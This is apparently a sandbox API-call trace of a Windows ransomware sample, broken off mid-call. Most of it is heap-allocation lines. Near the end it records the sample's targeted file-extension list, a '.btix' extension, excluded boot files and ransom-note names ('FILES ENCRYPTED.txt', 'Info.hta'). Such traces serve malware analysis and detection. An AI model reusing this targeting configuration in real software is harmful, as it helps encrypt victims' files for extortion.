(HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2a98 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2ab0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2a80 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dcc8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2ac8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2ae0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2a20 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2a50 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6a2a38 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6a2a68 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5f30 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ea0 [0146.182] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3148, Size=0x100) returned 0x6a3260 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c78 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5eb8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e88 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b5db0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e58 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d68 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69ddb8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5cd8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5de0 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ca8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69dc38 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d98 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5dc8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dca8 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f00 [0146.182] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e10 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5d80 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e70 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5cf0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c90 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b5ed0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e40 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b5f18 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ee8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d08 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d20 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f48 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dc58 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d38 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5df8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5d50 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5e28 [0146.183] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x200) returned 0x6a3260 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5cc0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69ddc8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c60 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60b0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6068 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f78 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60f8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fc0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fd8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6110 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ff0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b60e0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5f60 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5f90 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5fa8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6080 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6038 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6050 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6008 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6020 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6098 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b60c8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ab0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69ddd8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ac8 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c48 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a50 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dd18 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5bd0 [0146.183] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5c30 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5960 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a80 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5978 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5990 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a38 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5b28 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5b40 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b59d8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b59c0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b59a8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b59f0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5a08 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a68 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a20 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ba0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5a98 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5b58 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c00 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5ae0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69de08 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69dc68 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5af8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5c18 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5be8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5b10 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5b70 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b5b88 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b5bb8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62b8 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6438 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6198 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6258 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6240 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b63d8 [0146.184] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x400) returned 0x6b6d40 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6288 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6348 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b63c0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6270 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61b0 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6210 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6378 [0146.184] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6330 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6450 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6390 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69de18 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6168 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b6180 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61c8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61e0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6300 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b61f8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b63a8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6318 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6360 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b63f0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6228 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62a0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62d0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b62e8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6420 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dc78 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6408 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6618 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65a0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6468 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6480 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6660 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6528 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6630 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6678 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b6690 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6708 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b6540 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65d0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65e8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6600 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6498 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6558 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b66d8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66f0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6738 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6648 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66c0 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b66a8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64c8 [0146.185] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6720 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6750 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64b0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64e0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b64f8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6510 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6570 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6588 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b65b8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6840 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6780 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b6858 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12) returned 0x675198 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68b8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68d0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6798 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68e8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6918 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6768 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67c8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6870 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6828 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b68a0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6900 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67b0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67e0 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b67f8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6810 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b6888 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7628 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7760 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7520 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b76e8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7640 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b74d8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b75f8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b7580 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7490 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dc88 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7508 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dcd8 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7538 [0146.186] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7550 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7610 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7658 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7478 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7748 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b7688 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7598 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7568 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b74a8 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7700 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b74c0 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b75b0 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b75c8 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dce8 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b75e0 [0146.187] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b7670 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b6d40, Size=0x800) returned 0x6b7950 [0146.187] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0146.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b4928 | out: hHeap=0x660000) returned 1 [0146.187] lstrlenW (lpString="") returned 0 [0146.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8410 | out: hHeap=0x660000) returned 1 [0146.187] lstrlenW (lpString=".btix") returned 5 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd78, Size=0x8) returned 0x69ded8 [0146.187] lstrlenW (lpString=".btix") returned 5 [0146.187] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b81b8 | out: hHeap=0x660000) returned 1 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8290, Size=0x20) returned 0x69d740 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d740, Size=0x40) returned 0x677a28 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677a28, Size=0x80) returned 0x6b5258 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dd78, Size=0x8) returned 0x69de98 [0146.187] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de98, Size=0x10) returned 0x6b8290 [0146.188] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8290, Size=0x20) returned 0x69d768 [0146.188] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0146.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5258 | out: hHeap=0x660000) returned 1 [0146.188] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b82a8, Size=0x20) returned 0x69d790 [0146.188] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d790, Size=0x40) returned 0x6775f0 [0146.188] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.188] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0146.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6775f0 | out: hHeap=0x660000) returned 1 [0146.188] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b82a8, Size=0x20) returned 0x69d830 [0146.188] lstrlenW (lpString="Info.hta") returned 8 [0146.188] lstrlenW (lpString="Info.hta") returned 8 [0146.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d830 | out: hHeap=0x660000) returned 1 [0146.188] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6d5128, nSize=0x7fff | out: 